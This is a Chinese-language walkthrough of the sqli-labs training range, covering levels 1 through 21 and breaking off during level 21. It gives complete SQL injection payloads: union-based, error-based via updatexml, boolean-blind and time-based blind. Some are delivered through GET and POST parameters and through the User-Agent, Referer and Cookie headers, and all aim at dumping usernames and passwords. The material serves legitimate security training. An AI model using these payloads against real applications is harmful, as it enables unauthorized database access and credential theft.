sql-libs通关详解

1-4关

1.第一关

我们输入?id=1 看回显,通过回显来判断是否存在注入,以及用什么方式进行注入,直接上图
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
可以根据结果指定是字符型且存在sql注入漏洞。因为该页面存在回显,所以我们可以使用联合查询。联合查询原理简单说一下,联合查询就是两个sql语句一起查询,两张表具有相同的列数,且字段名是一样的。
那我们直接上命令


```powershell
id=1'  order by 3 --+  
?id=1'  order by 4  --+  发现没有回显,说明有3个字段 
?id=-1' union select 1,2,3  --+ 判断显错位,可以得出,显错位是2,3  利用2,3进行注入
?id=-1' union select 1,database(),version() --+  可以得出数据库的名字和版本号
?id=-1' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database() --+    得到库中的表名 
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'  and table_schema=database()--+  得到表中的字段,利用表中的字段得到我们的想要的数据 ?id=-1' union select 1,2,group_concat(username,0x7e,password)  from users --+  得到我们想要的username 和 password  0x7e是编码的东西,解码之后是~是为了让我们看回显的时候跟好看!!!

那我们接着直接上图
在这里插入图片描述

在这里还是解释一下,因为这里报出一个没有4,所以我们判断有3个字段
在这里插入图片描述那么我就就要利用字段来判断回显了
在这里插入图片描述
接着去判断数据库名称和版本号
在这里插入图片描述
这里我们得到了库名是security,那么我就利用库名来判断表名
在这里插入图片描述
发现有一个users表,我们可以利用,我们利用user表去获取其中的字段在这里插入图片描述发现字段以后我们就可以去得到这个表中的用户名和密码了
在这里插入图片描述

2.第二关

这一关同理,只是闭合点,没有’闭合 所以直接执行联合查询语句就好了在这里插入图片描述

我们直接上命令

?id=1 and 1=1 
?id=1 order by 3 
?id=1 order by 4  发现没有回显,说明有3个字段 
?id=-1 union select 1,2,3  判断显错位,可以得出,显错位是2,3  利用2,3进行注入
?id=-1 union select 1,database(),version()  可以得出数据库的名字和版本号
?id=-1 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database()    得到库中的所有表  
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'  得到表中的字段,利用表中的字段得到我们的想要的数据
?id=-1 union select 1,2,group_concat(username,0x7e,password)  from users  得到我们想要的username 和 password  0x7e是编码的东西,解码之后是~是为了让我们看回显的时候跟好看!!!

额,在靶场环境中的话,数据库名 表名字段名都不变,所以我们直接去查询一下账号密码就好!
在这里插入图片描述

同样可以得到结果

3.第三关在这里插入图片描述

在这里我们输入 --+之后还是报错,说明这里不用’闭合 我们尝试着用)在这里插入图片描述

我们发现用)可以完美的闭合,从而可以进行注入,所以我们直接上命令

?id=1')  and 1=1 --+
?id=1') order by 3 --+
?id=1')  order by 4  --+  发现没有回显,说明有3个字段 
?id=-1') union select 1,2,3  --+ 判断显错位,可以得出,显错位是2,3  利用2,3进行注入
?id=-1') union select 1,database(),version() --+  可以得出数据库的名字和版本号
?id=-1') union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database() --+    得到库中的所有表  
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+  得到表中的字段,利用表中的字段得到我们的想要的数据?id=-1') union select 1,2,group_concat(username,0x7e,password)  from users --+

同理,我们还是直接测试一下账号密码!在这里插入图片描述
所以我们的结果是正确的

4.第四关在这里插入图片描述

这里我们发现虽然使用–+不会报错,但是使用order by4 也有回显,所以这里我们应该是闭合点没找对,我们尝试着使用)在这里插入图片描述

发现使用")可以,所以我们找到了闭合点是")
直接上命令:

?id=1")  and 1=1 --+
?id=1")  order by 3 --+
?id=1")  order by 4  --+  发现没有回显,说明有3个字段 
?id=-1") union select 1,2,3  --+ 判断显错位,可以得出,显错位是2,3  利用2,3进行注入
?id=-1") union select 1,database(),version() --+  可以得出数据库的名字和版本号
?id=-1") union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database() --+    得到库中的所有表  
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+  得到表中的字段,利用表中的字段得到我们的想要的数据
?id=-1 ") union select 1,2,group_concat(username,0x7e,password)  from users --+

同理直接测试账号密码
在这里插入图片描述

5-8关

1.第五关

在这里插入图片描述在这里插入图片描述

看到这里就知道了有回显,但是不明确,可能有注入点,可以找,但是得用盲注或者使用显错注入
那么我们来找闭合点
在这里插入图片描述
在这里插入图片描述

我们知道了,需要用’ --+来进行闭合注入,然后我们选择显错注入,显错注入相对盲注来说更加简单,我们可以先去尝试着用显错
直接上命令

?id=1' or (updatexml(1,concat(0x5c,database(),0x5c),1)) --+    #  使用显错注入获得数据库的名字  
?id=1' or (updatexml(1,concat(0x5c,version(),0x5c),1))  --+    #  使用显错注入获取到版本号
?id=1' or (updatexml(1,concat(0x5c,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x5c),1)) --+ 				# 使用显错注入获取到表名
?id=1' or (updatexml(1,concat(0x5c,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),0x5c),1)) --+ #使用显错注入获取到字段名
?id=1' or (updatexml(1,concat(0x5c,(select group_concat(username)from(select username from users)a),0x5c),1)) --+  使用显错注入获取到username具体值
?id=1' or (updatexml(1,concat(0x5c,(select group_concat(password)from(select password from users)a),0x5c),1)) --+  # 使用显错注入获取到password的具体值
?id=1' or (updatexml(1,concat(0x5c,(select group_concat(username,0x5c,password)from(select username,password from users limit 0,1 )a),0x5c),1)) --+  # 使用显错注入获取到username和password的所有值

接着我们来上图在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
我们发现一个user表,对我们有用,我们可以尝试去找一下表中的具体字段在这里插入图片描述
我们发现存在用户名和密码,我们去尝试着试一下爆出用户和密码的值在这里插入图片描述

在这里我们只发现了一个用户名和密码,而我们想要所有的用户名和密码,所以我们直接上bp
在这里插入图片描述
设置1个payload即可在这里插入图片描述

我们先给1-20区尝试在这里插入图片描述

在这里我们添加显示位方便我们查找在这里插入图片描述
我们成功的找到了所有的用户和密码

2.第六关在这里插入图片描述

这里就存在一个问题,使用’不能进行闭合在这里插入图片描述在这里插入图片描述
这里我们就找到了闭合点,所以我们可以使用显错注入来获取我们想要的到的内容了
上命令!

?id=1" or (updatexml(1,concat(0x5c,database(),0x5c),1)) --+     # 使用显错注入获得数据库的名字  
?id=1" or (updatexml(1,concat(0x5c,version(),0x5c),1))  --+     # 使用显错注入获取到版本号
?id=1" or (updatexml(1,concat(0x5c,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x5c),1)) --+   # 使用显错注入获取到表名
?id=1" or (updatexml(1,concat(0x5c,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),0x5c),1)) --+  #  使用显错注入获取到字段名
?id=1" or (updatexml(1,concat(0x5c,(select group_concat(username)from(select username from users)a),0x5c),1)) --+  # 使用显错注入获取到username具体值
?id=1" or (updatexml(1,concat(0x5c,(select group_concat(password)from(select password from users)a),0x5c),1)) --+  # 使用显错注入获取到password的具体值
?id=1" or (updatexml(1,concat(0x5c,(select group_concat(username,0x5c,password)from(select username,password from users limit 0,1 )a),0x5c),1)) --+  # 使用显错注入获取到username和password的所有值

同理我们这里直接去测试账号密码就好了在这里插入图片描述

3.第七关

在这里我们先去寻找注入点在这里插入图片描述

发现使用’)) --+可以 然后我们就使用显错注入

?id=1')) or (updatexml(1,concat(0x5c,database(),0x5c),1)) --+      # 使用显错注入获得数据库的名字  
?id=1')) or (updatexml(1,concat(0x5c,version(),0x5c),1))  --+      # 使用显错注入获取到版本号
?id=1')) or (updatexml(1,concat(0x5c,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x5c),1)) --+    #使用显错注入获取到表名
?id=1')) or (updatexml(1,concat(0x5c,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),0x5c),1)) --+ # 使用显错注入获取到字段名
?id=1')) or (updatexml(1,concat(0x5c,(select group_concat(username)from(select username from users)a),0x5c),1)) --+  	# 使用显错注入获取到username具体值
?id=1')) or (updatexml(1,concat(0x5c,(select group_concat(password)from(select password from users)a),0x5c),1)) --+   	# 使用显错注入获取到password的具体值
?id=1')) or (updatexml(1,concat(0x5c,(select group_concat(username,0x5c,password)from(select username,password from users limit 0,1 )a),0x5c),1)) --+ 	# 使用显错注入获取到username和password的所有值

同理我们直接测账户密码在这里插入图片描述

bp同理,直接上图在这里插入图片描述

4.第八关在这里插入图片描述

发现一个问题,闭合以后后面没信息了在这里插入图片描述

然而使用–+将后面注释以后又出来回显,所以这里存在注入,我们可以尝试着显错注入在这里插入图片描述

发现一个问题,不会报错,所以这里不存在显错注入,那没得选,只能盲注了,我们选择布尔型的盲注,因为这里有回显
那我们直接上命令

?id=1' and length(database())=8 --+            # 使用这个来爆数据库的长度为多少
?id=1' and substr(database(),1,1)='s' --+      # 使用这个来爆数据库的名字
?id=1'and (select count(table_name)from information_schema.tables where table_schema=database())=4  #爆出表的个数
?id=1' and length((select table_name from information_schema.tables where table_schema=database()limit 0,1))=6 --+  # 爆第一个表的长度是6
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e' +-+   # 爆出第一个表的第一个字母是e   从而爆出表的名字
?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=3 -- +          #判断表中有3个字段
?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))=2 --+           # 判断第一个字段的长度是否为2
?id=1' and substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)='i' --+     # 判断第一个字段的第一个是否为i
?id=1' and substr((select username from users limit 0,1),1,1)='D' --+     # 判断username中的数据一个是否为D
?id=1' and substr((select password from users limit 0,1),1,1)='D' --+     # 判断password中的数据第一个是否为D

在这里插入图片描述
这里尝试以后发现数据库长度是8,也可以直接用bp去测然后我们开始测数据库的名称,上bp在这里插入图片描述

这里payload介绍一下,因为有substr命令,所以选择1这个payload,又因为是测试数据库,所以选择s在这里插入图片描述

因为数据库的长度我们得出8 所以这里我们给到9在这里插入图片描述

数据库名一般为字母,所以我们给到a-z在这里插入图片描述

所以最后结果我们成功的爆出了数据库的名称为security
接着我们来去找他的库中的表的个数 在这里插入图片描述

我们得到它的表的个数是4个,那么我就可用bp测试它的每个表的长度了
在这里插入图片描述

payload1是因为要爆表,payload2是长度在这里插入图片描述

这个是因为有4个表,所以给到3
在这里插入图片描述

而长度我们直接给到10在这里插入图片描述
我们得出结论,第一个表长度是6,第二个是8,第三个是7,第四个是5,最长的是8我们需要特别注意一下,因为一会要用
接着我们来爆每一个表的具体内容在这里插入图片描述

第一个是表的个数 第二个是具体的表的长度 第三个是具体的值在这里插入图片描述

同理,有4个表,我们给到3在这里插入图片描述

同理表长度最长的是8,所以我们给到9在这里插入图片描述

也是同理,我们爆表的名字,使用a-z在这里插入图片描述

我们得出结果:表名分别为:emails、referers、uagents、users
我们利用users表去获取字段,先获取字段的个数 在这里插入图片描述

通过测试我们发现有3个字段
那我们就可以去爆每一个字段的长度了在这里插入图片描述

这里同理,payload1 是字段的个数 payload是长度 在这里插入图片描述

因为我们得到字段的个数是3所以我们给到3在这里插入图片描述

字段的长度我们给到10在这里插入图片描述

我们得到结果,第一个字段长度为2,第二个字段长度为8,第三个字段长度为8 最长的是8,记住,一会要用
那我们就可以去爆字段的具体内容了在这里插入图片描述

同理在这里插入图片描述
在这里插入图片描述在这里插入图片描述

这里都是同理,我们直接上bp结果图在这里插入图片描述

结果已经出来了:内容分别为 id、username、password
我们可以利用username和password获取到数据库中的具体字段的数据在这里插入图片描述在这里插入图片描述

因为我们不知道里面有多少个数据,所以我们先给20个尝试一下所以第一个给到20在这里插入图片描述

这里我们说一下第三个,因为要爆用户名,用户名可能存在一些特殊的符号,所以我们的第三个要加一些特殊符号以及数字在这里插入图片描述在这里插入图片描述在这里插入图片描述

到此我们得出它的用户名分别为dumb angelina dummy secure stupid superman batman admin admin1 admin2 admin3 dhakkan admin4
同理我们得到密码在这里插入图片描述在这里插入图片描述在这里插入图片描述
我们得到的密码是:dumb、i-kill-you、p@assword、crappy、stupidity、genious、mob!le admin admin1 admin2 admin3 dumbo admin4

9-10关

1.第九关在这里插入图片描述在这里插入图片描述在这里插入图片描述

我们发现一个问题,就是不管怎么尝试找闭合点都找不到,页面总是不变,这时候就想到了时间延时注入
我们加入sleep函数试一下 在这里插入图片描述

我们发现将1闭合以后延时输出就可以
呢我们就直接延时注入就好了,直接上命令

?id=1'and if(length((select database()))=8,sleep(5),1)--+                 # 用时间延时注入判断数据库长度 
?id=1'and if(substr((select database()),1,1)='s',sleep(5),1)--+           # 使用时间延时判断数据库的第一个字母是不是s  
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+    # 使用时间延时注入判断数据的的第一个字母是不是s经过ascii编码后的数字。
?id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=4,sleep(5),1) --+                           # 使用时间延时的注入来判断有4个表 
?id=1' and if (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(4),1) --+               # 使用时间延时注入来判断第一个表的长度是6
?id=1' and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(4),1) --+          # 使用时间延时注入来判断第一个表的名字
?id=1' and if((select count(column_name)from information_schema.columns where table_schema=database() and table_name='users')=3,sleep(5),1) --+   # 使用延时注入来判断第一个表中的字段有3?id=1' and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))=2,sleep(4),1) --+         # 使用延时注入来判断表中的字段的长度
?id=1' and if(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)='i',sleep(4),1) --+   # 使用延时注入来判断第个表中的第一个字段是i
?id=1' and if(substr((select username from users limit 0,1),1,1)='D',sleep(5),1) --+  # 使用延时注入来判断username字段中的数据是否为D
?id=1' and if(substr((select password from users limit 0,1),1,1)='D',sleep(5),1) --+  # 使用延时注入来判断password字段中的数据是否为

在这里插入图片描述

我们判断数据库的长度是8,接着我们就可以去判断数据库的内容了
在这里插入图片描述

还是与前面同理,设置好paylad直接攻击,我们直接上bp图在这里插入图片描述

我们得到数据库的名字为security 同样的思路我们去找表的个数、长度、内容、以及字段的个数、长度、内容、以及具体的数据,思路跟上面的思路是一样的,这里我们直接给到一个最后的数据图!在这里插入图片描述在这里插入图片描述在这里插入图片描述
密码的思路是一样的,这里就不上图了,结果也肯定是一样的

2.第十关在这里插入图片描述

同样的道理,使用时间延时,找到闭合点是"后面思路完全一样,我们直接上命令

?id=1"and if(length((select database()))=8,sleep(5),1)--+                # 用时间延时注入判断数据库长度 
?id=1"and if(substr((select database()),1,1)='s',sleep(5),1)--+          # 使用时间延时判断数据库的第一个字母是不是s  
?id=1"and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+   # 使用时间延时注入判断数据的的第一个字母是不是s经过ascii编码后的数字。
?id=1" and if((select count(table_name) from information_schema.tables where table_schema=database())=4,sleep(5),1) --+                         #  使用时间延时的注入来判断有4个表 
?id=1" and if (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(4),1) --+              #  使用时间延时注入来判断第一个表的长度是6
?id=1" and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(4),1) --+        #  使用时间延时注入来判断第一个表的名字
?id=1" and if((select count(column_name)from information_schema.columns where table_schema=database() and table_name='users')=3,sleep(5),1) --+  # 使用延时注入来判断第一个表中的字段有3?id=1" and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))=2,sleep(4),1) --+         #  使用延时注入来判断表中的字段的长度
?id=1" and if(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)='i',sleep(4),1) --+   #  使用延时注入来判断第个表中的第一个字段是i
?id=1" and if(substr((select username from users limit 0,1),1,1)='D',sleep(5),1) --+  #  使用延时注入来判断username字段中的数据是否为D
?id=1" and if(substr((select password from users limit 0,1),1,1)='D',sleep(5),1) --+  #  使用延时注入来判断password字段中的数据是否为D

11-14关

1.第十一关在这里插入图片描述

这里我们发现是post请求了,而不是get请求在这里插入图片描述

看到我们就已经知道了,存在注入漏洞,且可以用联合注入
接着来找注入点就好了
我们可以用bp将这个请求拦截下来,然后在bp里面去操作在这里插入图片描述

我们发现在请求体中将username后面使用’闭合以后使用or1=1形成永真,而#又将后面的注释掉,出现了结果,所以这里可以注入
所以这里我们可以直接使用联合注入
直接上命令

' order by 3 # 发现没有回显,说明有2个字段 
' union select 1,2  # 判断显错位,可以得出,显错位是1,2
' union select database(),version() # 可以得出数据库的名字和版本号
' union select 1,group_concat(table_name)from information_schema.tables where table_schema=database() #    得到库中的所有表  
' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schmema=database()#  得到表中的字段,利用表中的字段得到我们的想要的数据' union select 1,group_concat(username,0x7e,password)  from users #  得到我们想要的username 和 password  0x7e是编码的东西,解码之后是~是为了让我们看回显的时候跟好看!!!

在这里插入图片描述
在这里插入图片描述

在这里我们可以得到它有2个字段
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
我们发现有一个users表我们可以去尝试在这里插入图片描述
这里有一个usernam和password我们可以利用在这里插入图片描述
我们成功的把所有的全部爆出来了

2.第十二关在这里插入图片描述

还是post请求,继续bp在这里插入图片描述

同样继续找注入点在这里插入图片描述

在这里尝试之后发现存在双引号和括号

那么我们成功的找到了注入闭合点
接着我们直接上命令

")order by 3 # 发现没有回显,说明有2个字段 
")union select 1,2  # 判断显错位,可以得出,显错位是1,2
")union select database(),version() # 可以得出数据库的名字和版本号
")union select 1,group_concat(table_name)from information_schema.tables where table_schema=database() #    得到库中的所有表  
")union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schmema=database()#  得到表中的字段,利用表中的字段得到我们的想要的数据") union select 1,group_concat(username,0x7e,password)  from users #  得到我们想要的username 和 password  0x7e是编码的东西,解码之后是~是为了让我们看回显的时候更好看!!!

之后就跟上一个同理了,这里我们还是直接出一个最后结果在这里插入图片描述

这关就成功了

3.第十三关

同理我们去找闭合点在这里插入图片描述

这里报错了,说明存在注入在这里插入图片描述

使用万能密码登陆之后,找到了闭合点
我们开始尝试着注入在这里插入图片描述在这里插入图片描述

在这里我们判断出它有2个字段,接着来判断显错位在这里插入图片描述

这里我们发现一个问题,它的显错位没有出来,反而登陆进去了,那就感觉这里不存在联合注入了,这里得进行盲注或者显错注入,我们还是优先选择显错注入
我们直接上命令

') or (updatexml(1,concat(0x5c,database(),0x5c),1))#    使用显错注入获得数据库的名字  
') or (updatexml(1,concat(0x5c,version(),0x5c),1)) #    使用显错注入获取到版本号
') or (updatexml(1,concat(0x5c,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x5c),1)) #                           使用显错注入获取到表名
') or (updatexml(1,concat(0x5c,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),0x5c),1)) #   使用显错注入获取到字段名
') or (updatexml(1,concat(0x5c,(select group_concat(username)from(select username from users)a),0x5c),1)) #     使用显错注入获取到username具体值
') or (updatexml(1,concat(0x5c,(select group_concat(password)from(select password from users)a),0x5c),1)) #使用显错注入获取到password的具体值
') or (updatexml(1,concat(0x5c,(select group_concat(username,0x5c,password)from(select username,password from users limit 0,1 )a),0x5c),1)) #   使用显错注入获取到username和password的所有值

在这里插入图片描述

得出数据库的名字为security
在这里插入图片描述

有一个users表我们可以利用在这里插入图片描述

有3个字段 我们要知道username 和password在这里插入图片描述

这里我们出来一个,然后直接用攻击就好了在这里插入图片描述在这里插入图片描述在这里插入图片描述

这里我们成功的将所有的账户名和密码解决!!!!

4.第十四关 在这里插入图片描述

同理去找注入点在这里插入图片描述

发现使用"登陆成功这里肯定是存在注入点了 发现可以使用显错注入

  • 直接给最后结果,因为给13是一样的在这里插入图片描述
    与13一样的只是闭合使用"闭合就好了

15-16关

1.第十五关在这里插入图片描述

这里使用万能密码直接就能进入在这里插入图片描述在这里插入图片描述

尝试着去找字段的时候没有回显,这里应该是要使用盲注了在这里插入图片描述

很明显这里存在延时,直接利用延时注入
这里我们直接先上命令

'or if(length((select database()))=8,sleep(1),1)#             #  用时间延时注入判断数据库长度 
' or if(substr((select database()),1,1)='s',sleep(1),1)  #    #  使用时间延时判断数据库的第一个字母是不是s  
'or if((select count(table_name) from information_schema.tables where table_schema=database())=4,sleep(1),1) #                      #  使用时间延时的注入来判断有4个表 
' or if (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(1),1)  #            #  使用时间延时注入来判断第一个表的长度是6
' or if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(1),1) #         #  使用时间延时注入来判断第一个表的名字
' or if((select count(column_name)from information_schema.columns where table_schema=database() and table_name='users')=3,sleep(1),1) # 使用延时注入来判断第一个表中的字段有3个
' or  if(length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))=2,sleep(1),1)          #  使用延时注入来判断表中的字段的长度
' or  if(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)='i',sleep(1),1)   #  使用延时注入来判断第个表中的第一个字段是i
' or if(substr((select username from users limit 0,1),1,1)='D',sleep(1),1) --+  #  使用延时注入来判断username字段中的数据是否为D
' or if(substr((select password from users limit 0,1),1,1)='D',sleep(1),1) --+  #  使用延时注入来判断password字段中的数据是否为D

在这里插入图片描述

判断库的长度
在这里插入图片描述

得知,库的长度是8
判断库的名字在这里插入图片描述在这里插入图片描述在这里插入图片描述

得到库名为security在这里插入图片描述

这里我们发现表的个数为4个我们要开始尝试着去找每一个表的长度在这里插入图片描述

第一个payload我们给3因为有4个表在这里插入图片描述

第二个payload我们给10
在这里插入图片描述在这里插入图片描述

我们得出结果 表的长度分别为6 8 7 5
接着我们来获取表的内容
同理还是这是payload
如图在这里插入图片描述

介绍一下,第一个是表的个数有4个所以我们给3 第二个是表的长度,最长的是8所以我们给8,第三个是表的内容我们给a-z在这里插入图片描述

我们的得到了表的名字,发现有一个users,我们可以使用users去判断它的字段的个数 在这里插入图片描述

从这里我们可以得出它的字段的总数是3
然后我们来判断它的每一个字段的长度在这里插入图片描述在这里插入图片描述在这里我们发现字段长度分别为 2 8 8
我们来找字段的内容在这里插入图片描述
payload介绍一下
因为有3个字段所以第一个payload给3 字段最长的是8所以第二个给8 第三个给a-z在这里插入图片描述
在这里得到了username和password我们可以去找具体的数据,原理是一样的,最后的结果跟上面的账户密码是一样的。

2.第十六关

同样是找闭合点在这里插入图片描述找到了闭合点,找一下使用注入的方法在这里插入图片描述
这里发现没有回显,所以只能使用延时注入,跟上面15关一样,只是闭合点不一样
直接上命令

")or if(length((select database()))=8,sleep(1),1)#              用时间延时注入判断数据库长度 
")or if(substr((select database()),1,1)='s',sleep(1),1)  #        使用时间延时判断数据库的第一个字母是不是s  
")or if((select count(table_name) from information_schema.tables where table_schema=database())=4,sleep(1),1) #                           使用时间延时的注入来判断有4个表 
")or if (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(1),1)  #            使用时间延时注入来判断第一个表的长度是6
")or if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(1),1) #         使用时间延时注入来判断第一个表的名字
")or if((select count(column_name)from information_schema.columns where table_schema=database() and table_name='users')=3,sleep(1),1) # 使用延时注入来判断第一个表中的字段有3个
")or  if(length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))=2,sleep(1),1) #        使用延时注入来判断表中的字段的长度
")or  if(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)='i',sleep(1),1) #  使用延时注入来判断第个表中的第一个字段是i
")or if(substr((select username from users limit 0,1),1,1)='D',sleep(1),1) --+  使用延时注入来判断username字段中的数据是否为D
")or if(substr((select password from users limit 0,1),1,1)='D',sleep(1),1) --+  使用延时注入来判断password字段中的数据是否为D

过程完全一样就是闭合点不一样所以这里不给图了,照着15就好了!

17关在这里插入图片描述

发现多了一个密码重置 我们可以抓包去看在这里插入图片描述

发现一个问题,我们不管怎么去尝试都找不到注入点,在username中找不到注入点,就应该是在password中找
所以我们需要找一下username的名称在这里插入图片描述
爆出账号以后,尝试着从passwrod处进行注入在这里插入图片描述在这里插入图片描述找到闭合点以后尝试着注入在这里插入图片描述

这里发现不能使用order by,我们尝试着使用报错注入
直接上命令

' or (updatexml(1,concat(0x5c,database(),0x5c),1))     # 使用显错注入获得数据库的名字  
' or (updatexml(1,concat(0x5c,version(),0x5c),1))     #  使用显错注入获取到版本号
' or (updatexml(1,concat(0x5c,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x5c),1))                           # 使用显错注入获取到表名
' or (updatexml(1,concat(0x5c,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),0x5c),1))    #使用显错注入获取到字段名
' or (updatexml(1,concat(0x5c,(select group_concat(username)from(select username from users)a),0x5c),1))    	# 使用显错注入获取到username具体值
' or (updatexml(1,concat(0x5c,(select group_concat(password)from(select password from users)a),0x5c),1)) 		# 使用显错注入获取到password的具体值
' or (updatexml(1,concat(0x5c,(select group_concat(username,0x5c,password)from(select username,password from users limit 0,1 )a),0x5c),1)) # 使用显错注入获取到username和password的所有值

在这里插入图片描述在这里插入图片描述
利用users表获获取表中的字段在这里插入图片描述
获取username 和passwrod在这里插入图片描述得到用户名和密码在这里插入图片描述

18-20关

1.第十八关在这里插入图片描述

登陆一下之后发现一个ua,这里是我们登陆以后有一个回显是ua,所以我们可以尝试着来ua注入
直接上命令

' or (updatexml(1,concat(0x5c,database(),0x5c),1)) or '1'='1    #  使用显错注入获得数据库的名字  
' or (updatexml(1,concat(0x5c,version(),0x5c),1)) or '1'='1     #  使用显错注入获取到版本号
' or (updatexml(1,concat(0x5c,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x5c),1)) or '1'='1                            #  使用显错注入获取到表名
' or (updatexml(1,concat(0x5c,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),0x5c),1)) or '1'='1   #  使用显错注入获取到字段名
' or (updatexml(1,concat(0x5c,(select group_concat(username)from(select username from users)a),0x5c),1)) or '1'='1       #  使用显错注入获取到username具体值
' or (updatexml(1,concat(0x5c,(select group_concat(password)from(select password from users)a),0x5c),1)) or '1'='1      #  使用显错注入获取到password的具体值
' or (updatexml(1,concat(0x5c,(select group_concat(username,0x5c,password)from(select username,password from users limit 0,1 )a),0x5c),1)) or '1'='1    #  使用显错注入获取到username和password的所有值 

在这里插入图片描述在这里插入图片描述
利用users表获取我们想要得到的字段在这里插入图片描述

然后得到用户名和密码在这里插入图片描述

得到了所有的内容

2.第十九关在这里插入图片描述

同理我们发现这里有一个youre referer is xxxx 所以这一关是我们登陆之后去尝试着利用referer去注入
所以我们抓包去看一下有没有注入点在这里插入图片描述在这里插入图片描述

看下面的回显信息我们找到了注入点
接着我们来尝试显错注入
上命令

' or (updatexml(1,concat(0x5c,version(),0x5c),1))   and '1'='1   #  使用显错注入获取到版本号
' or (updatexml(1,concat(0x5c,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x5c),1))  and '1'='1                          #  使用显错注入获取到表名
' or (updatexml(1,concat(0x5c,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),0x5c),1))  and '1'='1  #  使用显错注入获取到字段名
' or (updatexml(1,concat(0x5c,(select group_concat(username)from(select username from users)a),0x5c),1)) and '1'='1     #  使用显错注入获取到username具体值
' or (updatexml(1,concat(0x5c,(select group_concat(password)from(select password from users)a),0x5c),1))  and '1'='1    #  使用显错注入获取到password的具体值
' or (updatexml(1,concat(0x5c,(select group_concat(username,0x5c,password)from(select username,password from users limit 0,1 )a),0x5c),1))  and '1'='1   #  使用显错注入获取到username和password的所有值

在这里插入图片描述在这里插入图片描述
我们利用users表获取我们想要得到的内容在这里插入图片描述然后我们获取username和password内容在这里插入图片描述在这里插入图片描述

3.第二十关在这里插入图片描述

这里我们发现一个cookie值,同样的道理我们登陆以后会提示有一个cookie值,这里就可能是利用cookie值进行注入在这里插入图片描述
我们利用这里注入,找一下注入点在这里插入图片描述在这里插入图片描述

我们找到了注入点,开始尝试注入
上命令

' order by 3   #
' order by 4   #  发现没有回显,说明有3个字段 
' union select 1,2,3  # 判断显错位,可以得出,显错位是2,3  利用2,3进行注入
' union select 1,database(),version()  # 可以得出数据库的名字和版本号
' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database()    # 得到库中的所有表  
' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()   #  得到表中的字段,利用表中的字段得到我们的想要的数据
' union select 1,group_concat(username,0x22,password) from users  #	得到用户名和密码

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述成功的爆出数据

21-22关

1.第二十一关在这里插入图片描述

同理,登陆以后发现有cookie,所以还是尝试着用cookie注入,我们开始抓包 在这里插入图片描述

但是这里我们发现一个问题,cookie后面的内容并非我们输入的东西在这里插入图片描述

这里很明显是php代码对我们输入的东西进行了编码
不过不重要我们还是先去找闭合点在这里插入图片描述

我们发现单引号编码为jw==所以我们用这个去尝试一下在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述
所以我们发现使用’)#就可以
在这里插入图片描述
使用admin’)编码以后就成功
所以接着我们直接上命令

admin') or (updatexml(1,concat(0x5c,database(),0x5c),1))	# 使用显错注入获得数据库的名字  
admin') or (updatexml(1,concat(0x5c,version(),0x5c),1))  	# 使用显错注入获取到版本号
admin') or (updatexml(1,concat(0x5c,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x5c),1))  # 使用显错注入获取到表名
admin')or (updatexml(1,concat(0x5c,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),0x5c),1)) #   使用显错注入获取到字段名
